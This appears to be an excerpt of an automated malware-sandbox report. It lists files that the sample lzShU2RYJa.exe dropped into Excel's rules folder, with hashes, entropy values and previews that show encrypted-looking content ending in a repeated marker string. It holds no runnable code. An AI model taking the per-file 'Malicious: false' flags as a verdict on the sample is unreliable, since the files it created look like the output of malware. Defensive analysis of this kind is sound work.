SHA-256:	FEB93997CF564F42DEDB6FC104533E90351ACC2B0B78C00EBDE327F82227A7C0
SHA-512:	941D8AED59F14BFCD06A4FE49BBD8237CD776D7ABB40115FB00DD3DBC3991499609DF5E227F43665CF8ED5E2A1214DC3E2549428161D32C5299E8CB6D4088B4A
Malicious:	false
Preview:	<?xml.z....VV..Uy.#...M;>......w..Z..\|.#,K.s....y~...u.8..{....\....'...UP..t....i0.....g.RC........f.PnUq....Y4.....yJ(....U.(..~y+)9x..6^..{..Q"...$....U....../m....b.l.Sk.....Vf..K.T..\....2.O..:.P.>......).ZHZB5....]...z.cO.j......s..Z.d....?..f............@...7.xx..R../3.3...2...x .Q...z...U...&.......#q.F$:....q8FjA.D...B.UPi.....m...J..>......q...P.Tw..."..R...h..V..Um."$6...ug....+.X6....3Q.mp-...`.....U.".8..J...NE5l.t.lmm~..=<./1qr.....7.r!.iO......KZ..y.hH:...A..f..#yOc.......,.2VX.Of.h...\|...bz+. ud....$...... ...nI.\|.}+.(w..8....I.Dl..0.u...DN.V..}.<..Y..9.d...4.}.g'.3.T]#_....j~.6Dl6.''...N..,.`Y..:zY#Iq..`..9.d...o....e.RJ....)..d....e.j.....o...2..\..O<..+xK..6...zs.,.>B.........l..5....Y...\|....OP...w.r.=.gs.^+.h.K..@Z?G2.E.X..P.5[.Q8.b#..........a}f......1...#3.......lp...\'.F..p;.^T(....).vdWm._-.....Iu..{..2..;J..q..y.`.;.~..N...hL.......o......&.ou...U..gxL.Vg..]p(...g`.d..Q......,.....Hu....S....V.>.x.m...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.981608476997584
Encrypted:	false
SSDEEP:	192:E7hcGqLQklYG8YJG0d5k/cZrRp/ke7fsg4g6/TeQNsZtKWDP1Gv1tONt:shcRQ+V8b0jk/cPp/keD5uNsZtPPX
MD5:	CB8C71F731EC14F054108F2BEF863CE3
SHA1:	7F6424805BFB59B7D2BDAF75908E6FE10728A87A
SHA-256:	45F2E41BBD95C0955300DC85B3701A02E3EC44FEF19268B2EEBBEDD179F98AE1
SHA-512:	FD2BBC63F4D146D85182D5ADA977828D8E3B4C967D4A001A9F5D8900779B2C006B2D87085D513B91E3D6F74C881E34E6298EB18BA3D13320D6DF02AFC5AEBCCE
Malicious:	false
Preview:	<?xml+u.$.<...c..aj+.3IK{....H...!.j....,aK.2..?.K...O..SB.....w....X~R.F...;..p.}.z..n....-....l..v.....}..YD.o!.....AV{ ...."...rm.!/.C...=.^h....gYU....@.,#Q..An.\.z..RK.y"`Y....A...a.`....]...8..].\.3.M...y.......i0.a.\kx.....b.rS}_.r....3.!...:.7obZ~....[.........AN...&.3.s.\|.v..t...iFE...Y...r......9.8.p.....dY%\.rC;...nB)...4.NuKe.'.(.C&.x.-..Y....x(....W.f(.YDb...Spx...@..E.?..c2..Eg..X(..Y.....[....@9J..6..Y..(..+....S.k.............!].ED.......}.....^m..n.!B..#W...n.I.@/.<t.k.Xee.jXJ...So...3.......$.4z#.)ocU.......lu.........4h.Z..R.a......i..._..~C."....sm>..xN...d4.h........Kgs..@...l.W......5..)l."...Fm.b.Mn..<....".$.!}....g...<wQ...`..../:.c.........<b...#..\|.......4 W9<.....C.J._.....B0$..S.4....9./..$(.)...-...J....U..d..a...._6tfw.....g.4....S..].........z...&&f.2Sq=;"#pm:Oq.Y..L..b...1.9.J.Ye......V.w.."a.....&C..]d*...W5XF{.j....E.k....}...J.3.c._.. ..h.lpw.+.#N.F.Hl........u.A..]m....X.}7S..r..Y...t.........U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.732965751465977
Encrypted:	false
SSDEEP:	24:l2GXr9IXd2keU0l8UBqZ2u2cy9EKbNVbD:l798edl8pZyVBFD
MD5:	446107D9F75232E1A1286B3293D72C5C
SHA1:	50720102A8E47BDE3D3C114DBC9B951319B31A4C
SHA-256:	143A750E58B5ABF3FB52C03D9C2F48ACD6053CE8C751D0EDDF33F00C543385BE
SHA-512:	503B202EC75A494C927B7C4A64C760CE640A925566B571616721E04B26952D20851B33B7B7A83BDE21D501D760148BCFB67090291ED5173426DDBC4B08261BF1
Malicious:	false
Preview:	<?xml.=<....2.:..{.j}!R..:..I.v..^.?.Dh..x..G......I.w%9f...0..../?q...8Q.g.......[,.u...;y.n.....#.{....z.=/.~T. .....R..C........h...- ...kv:.{......4pGI.#p..}.d0D.e.......v.%.8......-.8....[.@.<).E..>....f.8..L......~....\|..o.y.._>QR..{,.>.Y....S..%.C..W..?"@..8Z.....st..s:i............Y..OW.L...n5K._......7.:"...W.D.+..=.GB...+O".h.I...6%R..\..1.p:!Fi..Z-......9.N.8.../#.....b..=....6...Uw.....O..{../,....$".......B..d}i..gm....ZxX.Ox.v.+E.(.._0[.............?.....[K&.q...&.-..`..[..A...........2S..brI.".....q..6.. z......I.2J.e{.W}V........p...3..(.jv....B..Ki.q.f...R...O..t.pl..qz............/..N#.J}...O\S..3..t....N...3{.c^W..(...x}.....x#`l_[..ir.9..d_a..{q%..m..!.C....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.717492000565246
Encrypted:	false
SSDEEP:	12:/s6D3MJuU1X7DI56Nyz/YpY68HeWUASH9QpaVTfG2amN9MpDIlJvWVbiAjVcii9a:k6D61XnjUa4zXOTfGVmLMpMlFWbLVbD
MD5:	A7676C2127ABAC829E9EE9F8C8C1ED61
SHA1:	A60E1ECC5E4831BD85CF98D0DAF2D3364F3F32C4
SHA-256:	9F0BD2A46CAD39D4D627E81A90C2AAE168159803F4D43AAB8FD2A49C213A4EC1
SHA-512:	9557C2410947AE530F7A2766A1201115117809D4537FF2F294DC2D3D2387CB6577A2E03CECCBE4DC983467BDE8B3793756973259A50C066E703B108D354CC4D0
Malicious:	false
Preview:	<?xmlrkb.j.../..!..]..TG...0x.?]....+.>\|......I..glT..T=......H....H...Z.i>2n.....{f%..R.B.K.z.......a..W!.:.z...........I%.a....].]..{.\|L......i..>..w...n.12..4]V..wV.$[..].M'..d.dH.5.ke0..ci.Q...._..Iu...."..Go....a.......6U[..b...4..n.!.U......3h.X.........."^-...O..}..Mb.W.....M.8t..;z.....F..p.,F..<.....>k...._:....s...1.;.y.#2...^..X...X....z........'.Q<t@.F.p.3.{..gc'.i....Rn.U.....B.dY./...q`w.3..F......q)p ....-=....Y>+.l..ZD...Y'..V.i........r.........O0.-...9...\|.;)_...[r..!..VT...%..mx...2.^ZS...P.p..+f.g.%*.W......J.fU@.9...F[n.p..[n..}...ej<9..2R...v& ..-.A'8..AM.L.&..!<]........2.<....Vk........_.....\.dexWY...4;^...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.8827537651676804
Encrypted:	false
SSDEEP:	48:WdNeVFE1s6qP4p0Rk2ABO3mQwp36yAScWPcFD:WdSFS4RkjBO3MttK9
MD5:	DD5B50E1EB698526735FFC384A627292
SHA1:	9A327FE399FE72B041D769FDDFC0FAD6391B97C1
SHA-256:	FAA542B9C92BBF5182697FE0BA62FBF6CF125F6CFB0E21A9D94A7F939B543022
SHA-512:	D601F771D7D9143C24A1C3F30E62AD8F37F4D0BC897FA659F389EC4EEAE20B450AA9CEB6C79A04132F6A8A54A9739B0A2987BB02A1EA90C13CB04DB0A8A31CDB
Malicious:	false
Preview:	<?xml.]k.b....y.?...L.'Y....f!..:.}...`@`....iI....#......I.....AY.$P3.Ag,.r.r...B\|9..A...2.\|Lw'&.<..e72...c/O....y.K4}..\B..$&.K..C%..........\|..V4K{Z.%..>.v;~...{.....i.2...1D..se....x.....I....A......x...Qa...G.....v..n,..Lu.Z.Z.sS...l"o?srP... ..=.....q}.u.<~9X...Pj^Te.jZH....Mf...'....A..w.".F....T........]........:.$.F../@......n..k.).=..X.T..}&L..x..Q...VJ...$..)..;.7. .?...,........k.$V.F.D.w.BT.,'rm....,.t..l..e.D.....AB....bQ......m.......%.....R.F(...]......<<.tQ..D....-........9.....AC.lYg...hn..{..E....Z\|.....l..b.$f.....o......(..&....C.........`....O.....3<.P.....MGx&.3V5nC.-1e...h.b...#...WUA...}LGyb.C...v..%.R\.N.....\|...N..aL...#.....f.o.r.H.....%q-..A..~.".u...t.?:....9}.}....V!..[.T.....L.V.N......FHt..m5z......S..4..n@...=...d.k..>ef...R...N...9......k...G6..#....1`.....}#LN!.T.x}...S.#...6W.s...W...-.>Ur.c...>mktS...Q7.q..j.P.../..Z.^.p.N...+..Ae..m.e...N..k?...M.=.4]..8.<0....j.)..E.&..v..We.7.......A.cWdX.N].S.a.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.808761661319729
Encrypted:	false
SSDEEP:	24:Rj6iRxUjM0CU8GhBhkGBLTdO7lX/MiSVbD:Rj6iRSP88JulvWFD
MD5:	4E5A50B98FD850A52C258B8D48D82210
SHA1:	0C84B9A6FE38B9FA21A1EB926546D9EDA9FF0BB9
SHA-256:	C758A9AEE4478C5BC1F9B0F7D44645D7FE73792D35BDFB5ABA428B136377EB6F
SHA-512:	960EE3285E4D6B0699726523503E5514FF574B144E2517AE1E8E8782606A768364022DF5B4866559BCE1A86754A300D06000EF439CFCD23131551102A0B61C33
Malicious:	false
Preview:	<?xml.ab..:......1......H.8j.O..5..%:..l[..._..R.#...+..f0YNL)..I.&.....R%P........M...a;...{^.z.[...{...W\G...WX......[.$H...{`.......V.,dw.$...H...=.]..<..[M..Y78.M..M.$..qZ..o.2.Cs.{..v.....$.<.:=....$d.]......Q,.sw'm..nh.>(....O.3.....',^{..P.+YZUzn.K...&z.`Y.cP..q...E.....dNTe....DE...Z.$e.9....).E7........#...O...hQb..\...O...\|z.nk.~!....{.Rt.5>..........p.=.....9...^....Em.....P.).X..2?.....-....j'..T....._.U.p.L7..p#....;g.:.d..8.BQ..i.b.../...\|.g.<y.z+.aYo.$^........>....F.tsJ..48..K=.7.1.Vu.o5^..r..B}.t........:D......i.....nR.._....c.p..._Y.....Y..z....oN>8.g..\|....I.^5uD"u.....7.&v.j..Z"r^..+......}.\|..w..W.?E:.JAL.[=,Z..9......2.{..;.&d.L..`...y.@.=....{....5.L....KH.....!.....x.w..-y.F..ko..U....-%.8.m.SX.f..n.j...AY.....S...r.+'......vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.8430323513552365
Encrypted:	false
SSDEEP:	24:QRNkRgJ1Fv1cWbPxDlcFJUP3o1r5Gfs0ojT/Tqm/XIR2kOg+NKtuhVbD:QR/FvpxlcFKoXrXTHgRx9ehFD
MD5:	3A998B97D3A4C579FA89E8F55719FF46
SHA1:	C6E3C60B86740EDFDDE3E8F8A5D06EA464800C39
SHA-256:	CB15A23B46AF50500C1A37266BAA000C802FEA0031C4079012EB6309E14D21CE
SHA-512:	DF2D77C492DA34A5D005EBC7E497D1641F11966DEE64C13BCE6C8B13D40D77C7EBB8CC3BFF9799816338A94431C25F1E075E7CEBAF63BFF7FE2B6C2F54626BBE
Malicious:	false
Preview:	<?xml-..6.....Q.LF..q....;..`(.....B.....?......q.._..$4N;....T.t.l..Q.7......g..7.%...{..{\|.(J..{5....A....r.X.....Z./6\|SO................}.GG.{.....9{..#c.......D0iW...SxZ.^..`.B...?K@x(7..J.K..p.L.,%..e.+p.bL....D..It....A..G.\|t.kP6..:.H.....#........dtk......y......z...H...X..6F...O....N..%,.._.Bx.k...-.F....=.)m..`.._.`dIZ.A,`.[...B.....Z.Z.z....SE...x.+3,L..v.aT....O.a..XX...i....^.+{{. ...t7.I..\...SG...C.......%.'....I.,7.../L.0....;.....W....1.4.'.a..K.:7....mhr!....R.T.9.G1w..hB.!\|Uiv...-.Ff...........]?..j4k.....6..`..F....w....P0..o8........z.F>.F.]q.E5\|..F.g...;H....E.?...z53H.=. ~.Cn........A..w6".t...M..........#....q..@...f:...k....)..<.8....P.{jJQ.Z:..6........^.Cu...Pd..."f6?.E.%;...bP......%..].0.s..T......A_.V...p.H..."..............7E..[:.MU.].Y..c8......T..6..+...Fy...A....`..i..b.........$..L... .WD?.....b.\|.!.........P..>.<KX.>........._=....)..,..n..D.../.7.;......"..Ww.P........}.c.p.().j;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.870041018150131
Encrypted:	false
SSDEEP:	24:yFw2r9DIPYrkTroxNgUZbWmr72YVEe+mp5kRkyWRW0RdS57D7WzPn24dphlVbD:MwkD7xiUWoiXdVWRW07SND7WvjDFD
MD5:	30F7DEEF262A356B6D3E9C2DD4D84A9F
SHA1:	F85B243F85991342CDED0CEF2890B91AE0448528
SHA-256:	12F58CA83EB477DC326945764112CEE7F26BAD6E2679472447095AA6D446B632
SHA-512:	FBD8DC6A4CAB32E1B0B9849E2096BFFDB8EE2E695572B67B06ABCF6A66B542C5EE2B478F06542020211E6D1676CD9712C220EAFC45FB0AC0A66041B7B06561DE
Malicious:	false
Preview:	<?xmlBu.O...5.GV..@._S......z%..p.e.../b....R.?t}..B;w..,EyK~obFy..b..pN...u.<G-...l....#....H..<.....T......$.....p....1..G...}f..Xz>,.kQ)....s.$..o...H....}l.Z.?..~<c\.[..um.0...r.n........2H.=..........\..8.....t.....H.....>S.b.....\|`A..'...=Z~!b}.b.."<;.2..VaS"s.>..U..H.. ..IZ....E...h,_.p...B....@L..,k.\.....~F..R.b$\a.........D.:.w......$.R..f..=.&.......h{`.l].s..,..X.S~....\|.&m...>BnyhjC.+..,.Vd...y....;.1`.u_.@h...5..+............J.+E...'l....8.}....;0.. W.)d.m^d=....=k.......i...q..9......7.q4..8.........n..........\|U.NY....v...v.{...P...I..k...+7<b.l.O....}}..e...!..D.o.^.U.....].^...T. .....MN.\...w.cs8Q+..$.t.j!.;.?.(_....C.,.L4.I]..Z..)....jI8.....J.\|..,..-....jB....c...w...C.....g...M.R.ArV..^.......w.....]ul....%._,..?.q..p.a.c.........\|.P)w.8..s~.i....I..e..z....F...d.5...p.RPC..b~:..Hb.#_.1.\|....HS...8`..G.?.w...}..W.e.4.t.....N...rY........m..n...\.)..#u.y....c.@y}&..l....o.6p32...F..U.b........Sw....\.ma.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.971725400783628
Encrypted:	false
SSDEEP:	96:xPIkmacOMy5MFoWbKf7M2pre3DyH2TWiW1yugFxqNmBCPmJ3FMXwDetwwxZfbiyM:LfWFZ52pre3OsWHStTOw0fbEObXKOw
MD5:	BF2A90ABF20F514BAD0CB49039903CDD
SHA1:	807A2705257E2A02BC2A48A2C76B7D67CB07907C
SHA-256:	ABE6E771075A00ADB64C742CBE4932BE11F02C376E6DBF09081445FE01BDFEFD
SHA-512:	30BB652632D86677A86D011FE6BCDE63FC5CB0E6D67B272C744D9E18F10A64CA6A5EFF3827439E7061A74D44B894505C31F36DD8CA71D452A0A8006C198F47F8
Malicious:	false
Preview:	<?xml..K............LbZ..a....0.........p....q....-w.D..>....uj'3..l+.......TJ..b.I./....o]FR.......A7[^_.rm8.....m..P...jyL.._.'.Y...<.?[..=?.Q....\a.V.\..VJ..UC.)3..K.H...(nX..g...[z..%.I.........!....L........mS..e.I.`.4.....u0.!M.M)...U.0..eU...........NkYD,.G=[.}...i.?...}5..W.._.}.!..q.....%]Lfh...}....\]i......x...C....@D.d..U8_.n\......h34s.s.1.C;...}.3....y.t..s.......)E}...rls.]2......4g ..f.....fCih...+..../.Zc?.0...q.O..Q.Tg.`.....6(Jx.X.......Y..e.....e%o..LF+..n...k..1!.>./,.w.[R$?.....r878#f...J.p.a..c..(...A...;.u...u....w.%Y....?'..Z.......1e. .YJ...V.W.......8a......Y..]Y.%....A...._'...fd.4.Q.Fo?.$....A.8....v..MI..Z..b.).39.BJa.........}v..3k..M,.<.&`.t.`k^)....N.")...>.^..$....\..tu...6..![.Jz..C.O.8.0.Q..F.m.(yw...%.A....{.J...g.....p.L"...%......W.4.\|.D..o?.....fa.Q.n..Rm.p...M8.N.m.2...E...'....%.0D..,. q.q7.#..s])p..M.H.s...h.G%.ajp...Vc2.*....1G..(.n..H..b.R..W8. .....F..[..ve..fO.-...'o+.."....e......%..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.707874126479643
Encrypted:	false
SSDEEP:	12:coq3zBO8Jtp+CWAJ4IXDotEnBLV6h7WdApKRDJSNCHT/Zi9tfacAOOOqdnvKFmh7:vu881EU6eBE7MAMSNCrc9tCTOOOIcmh7
MD5:	11597C33FB0D6E3B84DBCEADB7F1768A
SHA1:	F40604B06EECA60962F76DAFE162D674F1EEA0A2
SHA-256:	F5EE93536CB83B7FDD4A04B239832D2B624B94F44EF544B620FCC8933F90A6E5
SHA-512:	1106C8F646DF46BF076E86F5F753253D6E0C4CA6F15EDF6353CB8B111BD8ABFACE9BF78B73C096D9A05616D9C1901D252B9B6A6B5712701BBD53D0EEDCEAA509
Malicious:	false
Preview:	<?xmla.M.{._.t~l..?...E.05.F.....LY..7C.Jh."..'.F...)..k...V.5..%..!q^.U....r."F....Y..C..m.]...K4.vd.l~X..}.{..[H..}J..Z..z.t...d....kG..w....I.kW'l.....>.....A...,H.c..(.>Y....5....7.A.....Q...0.."..7.H.. rw..d..F..1.p..%........W....)"t...o.A.^\|.$b.Au.c.g...r$D.....&`.QL.q.#.1.pt.e..jH...U<.D.t..e.....Ss\.c.Te.=z..!L...-oZ.\|....#..i.6+..H;.`.>...eS........)p.E.....S..t.z!*..;...]....d..-:c..QLv...O.l.!..I.y.mR...A..{G.r$.H'z>...(...?..7...u..t.r....".k.&-..c..H.}..?./..)}....&>D?L.5."./...>P.I.K...>...b....!......{.O.....H1.`."..%..4..p$Q]/.e.u.RV....2....cVj...X...#..P.&.....W..bd..2I..M6-.:....L..[....`.n.` .g.Zjz.?`....}.../.............'..%P..W.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.835519091232205
Encrypted:	false
SSDEEP:	24:miXadTDgllWjmBvx0ZSppUsFZte7BDijJiBsNpJeTeCiNf9vab4IVbD:mwadAllWjmB2ZSDNte7Bud2s1e5ibyp9
MD5:	452FC1DE222AD5574512366DB6BE44B2
SHA1:	90B2C7649BE4C6172F5DACFEBDC8AE03D9295816
SHA-256:	B32811B7208BD668A5F3A282371E5A7C83FBB9E581C26FA20A767BDC4E156733
SHA-512:	B09F12B44999271B48FF36E0D430D528FD4CD6333A4F698048F4B5B0D3BA4C9395EED3C6F3AADA0FE818975D515D45478E06D5C4AA3CB0861BD9F63390028AE9
Malicious:	false
Preview:	<?xml674...5!,....."l....=. ..W..L.w.....t3...3..s."...}<.\#.'...\\.Od6h..........;,.H.VwfQb...A..dU5.Q.<.ht..G..V7?...f0..;...]s.!-..5Nv....\~,\|..Oq.S.U3.f6-.. .:...d........M..rm}0..".pSMq.{.../...F?..._...o.......O...kJ.\.ByC.&..c...Nq..}..C......u).~cqK......&L0...3.ZHJ.K3{...K..z.&.G0P^6,o..Ev...\.@.5...h"G.R.d]._-..R............hg`4m.......9..#k..`.i..z4....dbQS.J...#....QL.!J3J.z.UvK.............m..)......(.S...C.Q..!.5..2.]Go.}....u4).vY...8....Ej.....0...S.`Qc..;^=...f...n....M6t{...7.Q.,J.....Ac..L......ray}]....\.D6m...s.......v..C{6.F....iZ..5..tV..:Q... .qIR....I......N...A...ws .K.....9.N.9].g...z_k-..M.R..4.#E.5.B.F...k.....Yu.....i..sa.........&....E%6K..dMvE.u...).._.[~...RmIg7l....G.qy...b..Z..B......$w...'.!#......B..E...k.u..D..d..,t.(Y..U..d/..Vv...=sg..(.."m1d.V...3.^Z...k&U!..G......n..vU.G.t.tJ;c.'.7.X.)....J.N..C..tVGyii.0..F.. k&:.]...91.p.x8c._%...;(\|WZ.....1.?O...[..4}gl.'?t.."%...>?....J..%.I.Q}/..AUd..OB......o...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.941186018409314
Encrypted:	false
SSDEEP:	96:5Cncf/bWqHvC/VDd0VM24akmR2dmBA87d9:oncrWBRE99Sdp8H
MD5:	5A9CEC6D76A4BC215BE1BBF239DAED68
SHA1:	D4DBB397F02ECEDF588D725F8BB9A16424A6DA09
SHA-256:	55D2045CD92605D0004A644E0115EF1A75F5D0184B945D6ACC34B883459F3BF3
SHA-512:	151E6B395DADF4A38514054319337C0854C28FE1D65B2D76648AF769C3C4B50DD20224F2636E900918A38BA9EC2885FF6FD4AC6AA13919C4176A2E1C23D284DB
Malicious:	false
Preview:	<?xml..B`f.w9d-.K.n.z.&Q`.s.g..2+Lq......#........ifw..+...A!..P..:.6L.Xm.7........%....j.!...\|.......~....,j../......s.3...[.7......Kb.`C.$.HF.......sr.D....lD..7....\|(..M.....v.]...w...!S.~.D. Gm....T}.^..I...3....+..g.fC$D..?U.Rp.J.P-....w."..'r.....f:0..m..t.9cF...s..q.`.\|A\.7......Q...GjF..E.e/.....W.e..l?....m..T......zc.(..@.....:...U.B.......O4..D.+.a..q....KI........93..-^\\..'..../..-..'.....b'sd...<.\.Aa....6.C.8..O.#.s....}>......G.<e..k.4.L.9d_U.n\|...Y.K..g.+.X..`....9..n{,...c.8.i...Ed.M....L......z....U;.'..[......e...\|r....0C..fOE~.........m{>\<.....FU...DV;......Cx-..hu.\|W....k`.Q4`.w........o...X."'LU.f3T.P..$.OJ....vJ.?Q.xx....[~[..Z...y.I...]w..9)jxK.:..5.A....~...B"q....].._{y...].8$.......xRc.j.px. .,.gI.V.R.2..^n......7..}..^M......6...Qx6..y5.rH.}+iv.x~)..eOse..>....Hn...'w.9l1....+............r.o..p...y...f..V......g..R..........B..4.D..g.(..1...)....).E\|-Bcd.*..U...)./......!.K ..J^. .t.C]..i#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.772926517698658
Encrypted:	false
SSDEEP:	24:HGK3XK8e1pfUUpduLuLBHF+438+36fVJEtwNNExVbD:mK3TeTfUULuAFtX36fDNaxFD
MD5:	EF402DF1BD8939AF02D07FF56AD6FE59
SHA1:	C8928A5F2564AFA06CA7EE992ADB9AACE9280C60
SHA-256:	A3B72B62FED0F1D84260353408A267F2F18EB88B8B2D25A85914B29EC70363A5
SHA-512:	F8FE6C12D7F0D077837B1D7FA0EA0B8F84FF5B0BF945474B7F81CFCA1911D8F36BAD7EE55BA92F0E49254F927B3A20C0CF7461763C6570B4B38191A4141B018A
Malicious:	false
Preview:	<?xml.IJ...'.e.g...<..uK.A..sp..pH6'.....V....7..T..d..D......kZo.v.4....7.......].JKtG.....\.uo..T..rO#......./._4.6.\|..K.!...yb.!I..J...AJ;..1..\\r.\|(.l..h.cf.....Y.I......Lr(.eo..>.@..+T...!.L.c..&..f..&..h...0..x)P..r.Y.!f..W..5..h/UG...r3...OV.0.Jw...$.&p.zGN....}.9D...T .]&.....e........l......:jw..:.....^....I.?#9m....0..~kf..R:.......#Q.p.h.QxI..\.W. \...9.#>.5...dB9....W}..h.M..l...~....]&5..+.w,#.f..,:K.D.".`..p.....J.B,+...9.A..3...E..9.Q....:.....Bg.......%n.R.mW.\|1....d..R....Nw.5....@n84aL.j... ..E..m..6.....Rp....\` ..Z.......8..WB...P_...v..C.eokhJ.X.+.w.mg..PEQb.5....r..o-..1:$........;.8..7......>C..48..Xg..]J@.B.R.....d+w....S.N.....e,.q.E..#."2...(X..>U'....>..i.'"pwC...u......x........S...... .A.%.O.`.EDj`.....7+.+..s.......=!.u..-....B...nav.N..bp.........o. ..r......j..Z..Z.....z..r..3 .#.@..M...T.sy.`d.s.Zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.930163198720864
Encrypted:	false
SSDEEP:	48:NQIJdlcfpeeflfUn04j93BYcMHOdXeMU85jChFTqfuCioYM1Af+N18zAy5L4Iio9:OIJ/cRe6NepjVekdOHzTqCoBCf+N20yD
MD5:	2712F8ED62FB191B4B35AF3E30DDD324
SHA1:	7154F5007D87F664D1BF0CDEC949E67E5F18EFF2
SHA-256:	C07F89E4D60231D535933B5E643855EA402CA68C982562451655641ACB1D4F9D
SHA-512:	B3E4D2E9AEDE733C0C3603D86181D93466EB183D873E1D5206F51FE359F6C366C3716FA92DE481B98181F458F1BDAF65DFA90E47F91714F164AD8D14D7D91413
Malicious:	false
Preview:	<?xml9..S<._rh...>z.o.7....=D4.X......u.}..Jr:.Th..?..m..xz.......@`.E..V....Pb...7Z.......!4..#..6Q....i+;.W.O......=B8,S..O..}.I7.o$..q...4.V.pB.... ...\|...E..k..m.....y.{".>..p.5..bt..NOM.....D.(........=...2.w.l.SD.#Dw.6._..EG..F.^...e~P...8".F...............\|.......Y{. .....V......88.\|...7`....uq...X..Scv..J...."hg...\|.....&=GLL....~..y.H.S.T..Q.2.....4..x.,....h'.~2&..<L6x.P..j\.V.&.Y}G(...2..../..ll...<d.A.9....2.e..~..8....Ql.a.B]D.i5..=..k)E.....\.PUio..XR.7.=.ae2'.).&.!.4.&T..edP.. . .r.8.ik.......\X.."0 .....rB<..%...>~r...k..E..F..... t7....*.K.f.......t_..I?a..x..D).#\{h^...v.d........./m...8.+...#...W.R....:>f........A.y.......K..R...fS`..?...#...T....+4..?..K...}.".'c.sL.y.I".S.......././...o!....p.H..fR.......t...J....=J...Pu...@........3..Lu...\| ...BS....-X..\|.l..m.RQ}DI%.`.....~w/'...d8de.N....B.....X.X...........S.G.`8:?\Ue ....K j6m....j..W...U.....;.....^..>i<..k~..gt...h...].I...$/..j.""....'I).X0F..r.../.n.....t...FXA=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.924255219817407
Encrypted:	false
SSDEEP:	48:7Mwg/5CgBD6zBcjc+Yry3D8PVwPgD8dGyq1b1hRnd56eDOFD:7Nv+2/rC8HCGfhxd55DO9
MD5:	7F1533781657BBA41A8E2B084F09378B
SHA1:	680A191ACB37050CB73BDD10EB02E32C39E954D0
SHA-256:	A1FF3E489BCB52014AEDBA91B8695E39F415567E3706BD4D75A9BB5E394F1E2F
SHA-512:	5A9FBD08B384A3DEC4946C5DCC8DA64CD85BE5EF770D4B81DDD8BA782F322FA09F05EB6BA71D5C48F271C5F0CA9CD2EAC35B1187B738C62FECA2C5DFD8F9A2ED
Malicious:	false
